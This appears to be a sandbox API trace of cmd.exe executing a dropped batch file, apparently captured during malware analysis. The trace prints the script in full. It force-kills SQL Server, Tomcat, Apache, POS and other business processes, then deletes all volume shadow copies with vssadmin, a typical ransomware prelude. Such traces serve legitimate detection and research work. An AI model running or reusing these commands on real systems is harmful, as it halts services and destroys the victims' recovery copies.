hFindFile=0x4a47d8 | out: hFindFile=0x4a47d8) returned 1 [0075.709] GetFileAttributesW (lpFileName="C:\\Users\\kFT6uTQW\\Desktop" (normalized: "c:\\users\\kft6utqw\\desktop")) returned 0x11 [0075.709] SetCurrentDirectoryW (lpPathName="C:\\Users\\kFT6uTQW\\Desktop" (normalized: "c:\\users\\kft6utqw\\desktop")) returned 1 [0075.709] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\kFT6uTQW\\Desktop") returned 1 [0075.709] GetEnvironmentStringsW () returned 0x4a2238* [0075.709] FreeEnvironmentStringsW (penv=0x4a2238) returned 1 [0075.709] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a115260 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop") returned 0x19 [0075.709] GetConsoleOutputCP () returned 0x1b5 [0075.710] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0075.710] GetUserDefaultLCID () returned 0x409 [0075.710] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a114950, cchData=8 | out: lpLCData=":") returned 2 [0075.710] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1efaa8, cchData=128 | out: lpLCData="0") returned 2 [0075.710] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1efaa8, cchData=128 | out: lpLCData="0") returned 2 [0075.710] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1efaa8, cchData=128 | out: lpLCData="1") returned 2 [0075.710] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a114940, cchData=8 | out: lpLCData="/") returned 2 [0075.710] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a114d80, cchData=32 | out: lpLCData="Mon") returned 4 [0075.710] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a114d40, cchData=32 | out: lpLCData="Tue") returned 4 [0075.710] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a114d00, cchData=32 | out: lpLCData="Wed") returned 4 [0075.710] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a114cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0075.710] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a114c80, cchData=32 | out: lpLCData="Fri") returned 4 [0075.710] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a114c40, cchData=32 | out: lpLCData="Sat") returned 4 [0075.710] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a114c00, cchData=32 | out: lpLCData="Sun") returned 4 [0075.710] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a114930, cchData=8 | out: lpLCData=".") returned 2 [0075.710] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a114920, cchData=8 | out: lpLCData=",") returned 2 [0075.710] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0075.711] GetConsoleTitleW (in: lpConsoleTitle=0x4a2238, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0075.711] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76520000 [0075.711] GetProcAddress (hModule=0x76520000, lpProcName="CopyFileExW") returned 0x76553b92 [0075.711] GetProcAddress (hModule=0x76520000, lpProcName="IsDebuggerPresent") returned 0x76534a5d [0075.711] GetProcAddress (hModule=0x76520000, lpProcName="SetConsoleInputExeNameW") returned 0x7654a79d [0075.712] _wcsicmp (_String1="\"C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat\"", _String2=")") returned -7 [0075.712] _wcsicmp (_String1="FOR", _String2="\"C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat\"") returned 68 [0075.712] _wcsicmp (_String1="FOR/?", _String2="\"C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat\"") returned 68 [0075.712] _wcsicmp (_String1="IF", _String2="\"C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat\"") returned 71 [0075.712] _wcsicmp (_String1="IF/?", _String2="\"C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat\"") returned 71 [0075.713] _wcsicmp (_String1="REM", _String2="\"C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat\"") returned 80 [0075.713] _wcsicmp (_String1="REM/?", _String2="\"C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat\"") returned 80 [0075.713] GetConsoleTitleW (in: lpConsoleTitle=0x1ef7a0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0075.713] GetFileAttributesW (lpFileName="\"C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat\"" (normalized: "c:\\users\\kft6utqw\\desktop\\\"c:\\users\\kft6utqw\\appdata\\roaminghhfhqi2h.wln.bat\"")) returned 0xffffffff [0075.713] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0075.713] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0075.713] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0075.713] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0075.713] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0075.713] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0075.713] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0075.713] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0075.713] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0075.713] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0075.713] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0075.713] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0075.713] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0075.713] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0075.713] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0075.714] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0075.714] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0075.714] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0075.714] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0075.714] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0075.714] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0075.714] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0075.714] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0075.714] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0075.714] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0075.714] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0075.714] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0075.714] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0075.714] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0075.714] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0075.714] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0075.714] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0075.714] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0075.714] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0075.714] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0075.714] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0075.714] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0075.714] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0075.714] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0075.714] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0075.714] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0075.714] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0075.714] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0075.714] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0075.714] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0075.714] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0075.714] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0075.714] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0075.714] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0075.714] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0075.714] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0075.714] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0075.714] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0075.714] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0075.714] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0075.714] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0075.714] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0075.714] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0075.714] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0075.714] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0075.714] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0075.714] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0075.714] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0075.714] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0075.714] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0075.714] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0075.714] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0075.714] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0075.714] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0075.714] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0075.714] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0075.714] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0075.714] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0075.714] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0075.715] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0075.715] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0075.715] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0075.715] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0075.715] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0075.715] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0075.715] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0075.715] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0075.715] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0075.715] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0075.715] _wcsicmp (_String1="\"C", _String2="FOR") returned -68 [0075.715] _wcsicmp (_String1="\"C", _String2="IF") returned -71 [0075.715] _wcsicmp (_String1="\"C", _String2="REM") returned -80 [0075.715] _wcsnicmp (_String1="C:\\U", _String2="cmd ", _MaxCount=0x4) returned -51 [0075.715] SetErrorMode (uMode=0x0) returned 0x0 [0075.715] SetErrorMode (uMode=0x1) returned 0x0 [0075.715] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\.", nBufferLength=0x208, lpBuffer=0x4a27c0, lpFilePart=0x1ef2c0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData", lpFilePart=0x1ef2c0*="AppData") returned 0x19 [0075.715] SetErrorMode (uMode=0x0) returned 0x1 [0075.715] NeedCurrentDirectoryForExePathW (ExeName="C:\\Users\\kFT6uTQW\\AppData\\.") returned 1 [0075.716] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a120640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0075.731] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0075.732] FindFirstFileExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat", fInfoLevelId=0x1, lpFindFileData=0x1ef05c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ef05c) returned 0x4a2950 [0075.732] FindClose (in: hFindFile=0x4a2950 | out: hFindFile=0x4a2950) returned 1 [0075.732] _wcsicmp (_String1=".bat", _String2=".CMD") returned -1 [0075.732] _wcsicmp (_String1=".bat", _String2=".BAT") returned 0 [0075.732] GetConsoleTitleW (in: lpConsoleTitle=0x1ef534, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0075.732] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x763f0000 [0075.732] GetProcAddress (hModule=0x763f0000, lpProcName="SaferIdentifyLevel") returned 0x76412102 [0075.733] IdentifyCodeAuthzLevelW () returned 0x1 [0075.737] GetProcAddress (hModule=0x763f0000, lpProcName="SaferComputeTokenFromLevel") returned 0x76413352 [0075.737] ComputeAccessTokenFromCodeAuthzLevel () returned 0x1 [0075.737] GetProcAddress (hModule=0x763f0000, lpProcName="SaferCloseLevel") returned 0x76413825 [0075.737] CloseCodeAuthzLevel () returned 0x1 [0075.737] SetErrorMode (uMode=0x0) returned 0x0 [0075.737] SetErrorMode (uMode=0x1) returned 0x0 [0075.737] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat", nBufferLength=0x104, lpBuffer=0x4a2530, lpFilePart=0x1ef420 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat", lpFilePart=0x1ef420*="Roaminghhfhqi2h.wln.bat") returned 0x31 [0075.737] SetErrorMode (uMode=0x0) returned 0x1 [0075.737] CmdBatNotification () returned 0x4a2590 [0075.737] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaminghhfhqi2h.wln.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1ef464, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0075.737] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0075.737] _get_osfhandle (_FileHandle=3) returned 0x78 [0075.737] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.738] _get_osfhandle (_FileHandle=3) returned 0x78 [0075.738] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.738] ReadFile (in: hFile=0x78, lpBuffer=0x4a116640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1ef448, lpOverlapped=0x0 | out: lpBuffer=0x4a116640*, lpNumberOfBytesRead=0x1ef448*=0x670, lpOverlapped=0x0) returned 1 [0075.738] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a116640, cbMultiByte=1648, lpWideCharStr=0x4a11c640, cchWideChar=8191 | out: lpWideCharStr="@echo off\nTASKKILL /F /IM ApacheMonitor.exe /IM ApacheMonitor.exe \nTASKKILL /F /IM armsvc.exe /IM armsvc.exe \nTASKKILL /F /IM BackOffice.exe /IM BackOffice.exe \nTASKKILL /F /IM CodeMeter.exe /IM CodeMeter.exe \nTASKKILL /F /IM fbserver.exe /IM fbserver.exe \nTASKKILL /F /IM fdhost.exe /IM fdhost.exe \nTASKKILL /F /IM fdlauncher.exe /IM fdlauncher.exe \nTASKKILL /F /IM GLDS.exe /IM GLDS.exe \nTASKKILL /F /IM grym.exe /IM grym.exe \nTASKKILL /F /IM httpd.exe /IM httpd.exe \nTASKKILL /F /IM igfxCUIService.exe /IM igfxCUIService.exe \nTASKKILL /F /IM iikoNet.Pos.WinService.exe /IM iikoNet.Pos.WinService.exe \nTASKKILL /F /IM mdm.exe /IM mdm.exe \nTASKKILL /F /IM MsDtsSrvr.exe /IM MsDtsSrvr.exe \nTASKKILL /F /IM msmdsrv.exe /IM msmdsrv.exe \nTASKKILL /F /IM MSSQLSERVER.exe /IM MSSQLSERVER.exe \nTASKKILL /F /IM oktell.ClientStarter4.exe /IM oktell.ClientStarter4.exe \nTASKKILL /F /IM oktell.HALMixerApp.exe /IM oktell.HALMixerApp.exe \nTASKKILL /F /IM OSPPSVC.exe /IM OSPPSVC.exe \nTASKKILL /F /IM PresentationFontCache.exe /IM PresentationFontCache.exe \nTASKKILL /F /IM SQL Server.exe /IM SQL Server.exe \nTASKKILL /F /IM SQLAGENT.exe /IM SQLAGENT.exe \nTASKKILL /F /IM sqlbrowser.exe /IM sqlbrowser.exe \nTASKKILL /F /IM sqlservr.exe /IM sqlservr.exe \nTASKKILL /F /IM sqlwriter.exe /IM sqlwriter.exe \nTASKKILL /F /IM srvany.exe /IM srvany.exe \nTASKKILL /F /IM tomcat7.exe /IM tomcat7.exe \nTASKKILL /F /IM tomcat7_x64.exe /IM tomcat7_x64.exe \nTASKKILL /F /IM torgsoft.exe /IM torgsoft.exe \nTASKKILL /F /IM TSAppServer.exe /IM TSAppServer.exe\nTASKKILL /F /IM p2.exe /IM p2.exe\nTASKKILL /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiet") returned 1648 [0075.738] _get_osfhandle (_FileHandle=3) returned 0x78 [0075.738] GetFileType (hFile=0x78) returned 0x1 [0075.738] _get_osfhandle (_FileHandle=3) returned 0x78 [0075.738] SetFilePointer (in: hFile=0x78, lDistanceToMove=-1638, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa [0075.739] _wcsicmp (_String1="echo", _String2=")") returned 60 [0075.739] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0075.739] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0075.739] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0075.739] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0075.739] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0075.739] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0075.740] _tell (_FileHandle=3) returned 10 [0075.740] _close (_FileHandle=3) returned 0 [0075.740] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0075.740] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0075.740] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0075.740] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0075.740] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0075.740] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0075.740] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0075.740] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0075.740] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0075.740] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0075.740] GetConsoleTitleW (in: lpConsoleTitle=0x1ef02c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0075.740] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0075.740] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0075.740] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0075.740] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0075.740] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0075.741] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0075.741] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0075.741] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0075.741] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0075.741] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0075.741] _wcsnicmp (_String1="off", _String2="off", _MaxCount=0x3) returned 0 [0075.741] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0075.741] SetConsoleMode (hConsoleHandle=0x8c4, dwMode=0x0) returned 0 [0075.741] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0075.741] GetConsoleMode (in: hConsoleHandle=0x8c4, lpMode=0x4a1141ac | out: lpMode=0x4a1141ac) returned 0 [0075.741] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0075.741] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x4a1141b0 | out: lpMode=0x4a1141b0) returned 1 [0075.741] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0075.741] SetConsoleMode (hConsoleHandle=0xfffffffe, dwMode=0x7) returned 0 [0075.742] SetConsoleInputExeNameW () returned 0x1 [0075.742] GetConsoleOutputCP () returned 0x1b5 [0075.742] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0075.742] SetThreadUILanguage (LangId=0x0) returned 0x409 [0075.742] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaminghhfhqi2h.wln.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1ef464, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0075.742] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0075.742] _get_osfhandle (_FileHandle=3) returned 0x78 [0075.742] SetFilePointer (in: hFile=0x78, lDistanceToMove=10, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa [0075.742] _get_osfhandle (_FileHandle=3) returned 0x78 [0075.742] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa [0075.742] ReadFile (in: hFile=0x78, lpBuffer=0x4a116640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1ef448, lpOverlapped=0x0 | out: lpBuffer=0x4a116640*, lpNumberOfBytesRead=0x1ef448*=0x666, lpOverlapped=0x0) returned 1 [0075.742] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a116640, cbMultiByte=1638, lpWideCharStr=0x4a11c640, cchWideChar=8191 | out: lpWideCharStr="TASKKILL /F /IM ApacheMonitor.exe /IM ApacheMonitor.exe \nTASKKILL /F /IM armsvc.exe /IM armsvc.exe \nTASKKILL /F /IM BackOffice.exe /IM BackOffice.exe \nTASKKILL /F /IM CodeMeter.exe /IM CodeMeter.exe \nTASKKILL /F /IM fbserver.exe /IM fbserver.exe \nTASKKILL /F /IM fdhost.exe /IM fdhost.exe \nTASKKILL /F /IM fdlauncher.exe /IM fdlauncher.exe \nTASKKILL /F /IM GLDS.exe /IM GLDS.exe \nTASKKILL /F /IM grym.exe /IM grym.exe \nTASKKILL /F /IM httpd.exe /IM httpd.exe \nTASKKILL /F /IM igfxCUIService.exe /IM igfxCUIService.exe \nTASKKILL /F /IM iikoNet.Pos.WinService.exe /IM iikoNet.Pos.WinService.exe \nTASKKILL /F /IM mdm.exe /IM mdm.exe \nTASKKILL /F /IM MsDtsSrvr.exe /IM MsDtsSrvr.exe \nTASKKILL /F /IM msmdsrv.exe /IM msmdsrv.exe \nTASKKILL /F /IM MSSQLSERVER.exe /IM MSSQLSERVER.exe \nTASKKILL /F /IM oktell.ClientStarter4.exe /IM oktell.ClientStarter4.exe \nTASKKILL /F /IM oktell.HALMixerApp.exe /IM oktell.HALMixerApp.exe \nTASKKILL /F /IM OSPPSVC.exe /IM OSPPSVC.exe \nTASKKILL /F /IM PresentationFontCache.exe /IM PresentationFontCache.exe \nTASKKILL /F /IM SQL Server.exe /IM SQL Server.exe \nTASKKILL /F /IM SQLAGENT.exe /IM SQLAGENT.exe \nTASKKILL /F /IM sqlbrowser.exe /IM sqlbrowser.exe \nTASKKILL /F /IM sqlservr.exe /IM sqlservr.exe \nTASKKILL /F /IM sqlwriter.exe /IM sqlwriter.exe \nTASKKILL /F /IM srvany.exe /IM srvany.exe \nTASKKILL /F /IM tomcat7.exe /IM tomcat7.exe \nTASKKILL /F /IM tomcat7_x64.exe /IM tomcat7_x64.exe \nTASKKILL /F /IM torgsoft.exe /IM torgsoft.exe \nTASKKILL /F /IM TSAppServer.exe /IM TSAppServer.exe\nTASKKILL /F /IM p2.exe /IM p2.exe\nTASKKILL /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietAll /Quiet") returned 1638 [0075.743] _get_osfhandle (_FileHandle=3) returned 0x78 [0075.743] GetFileType (hFile=0x78) returned 0x1 [0075.743] _get_osfhandle (_FileHandle=3) returned 0x78 [0075.743] SetFilePointer (in: hFile=0x78, lDistanceToMove=-1581, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x43 [0075.743] _wcsicmp (_String1="TASKKILL", _String2=")") returned 75 [0075.743] _wcsicmp (_String1="FOR", _String2="TASKKILL") returned -14 [0075.743] _wcsicmp (_String1="FOR/?", _String2="TASKKILL") returned -14 [0075.743] _wcsicmp (_String1="IF", _String2="TASKKILL") returned -11 [0075.743] _wcsicmp (_String1="IF/?", _String2="TASKKILL") returned -11 [0075.743] _wcsicmp (_String1="REM", _String2="TASKKILL") returned -2 [0075.744] _wcsicmp (_String1="REM/?", _String2="TASKKILL") returned -2 [0075.745] _tell (_FileHandle=3) returned 67 [0075.745] _close (_FileHandle=3) returned 0 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="DIR") returned 16 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="ERASE") returned 15 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="DEL") returned 16 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="TYPE") returned -24 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="COPY") returned 17 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="CD") returned 17 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="CHDIR") returned 17 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="RENAME") returned 2 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="REN") returned 2 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="ECHO") returned 15 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="SET") returned 1 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="PAUSE") returned 4 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="DATE") returned 16 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="TIME") returned -8 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="PROMPT") returned 4 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="MD") returned 7 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="MKDIR") returned 7 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="RD") returned 2 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="RMDIR") returned 2 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="PATH") returned 4 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="GOTO") returned 13 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="SHIFT") returned 1 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="CLS") returned 17 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="CALL") returned 17 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="VERIFY") returned -2 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="VER") returned -2 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="VOL") returned -2 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="EXIT") returned 15 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="SETLOCAL") returned 1 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="ENDLOCAL") returned 15 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="TITLE") returned -8 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="START") returned 1 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="DPATH") returned 16 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="KEYS") returned 9 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="MOVE") returned 7 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="PUSHD") returned 4 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="POPD") returned 4 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="ASSOC") returned 19 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="FTYPE") returned 14 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="BREAK") returned 18 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="COLOR") returned 17 [0075.745] _wcsicmp (_String1="TASKKILL", _String2="MKLINK") returned 7 [0075.746] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4b35e0, lpFilePart=0x1ef260 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", 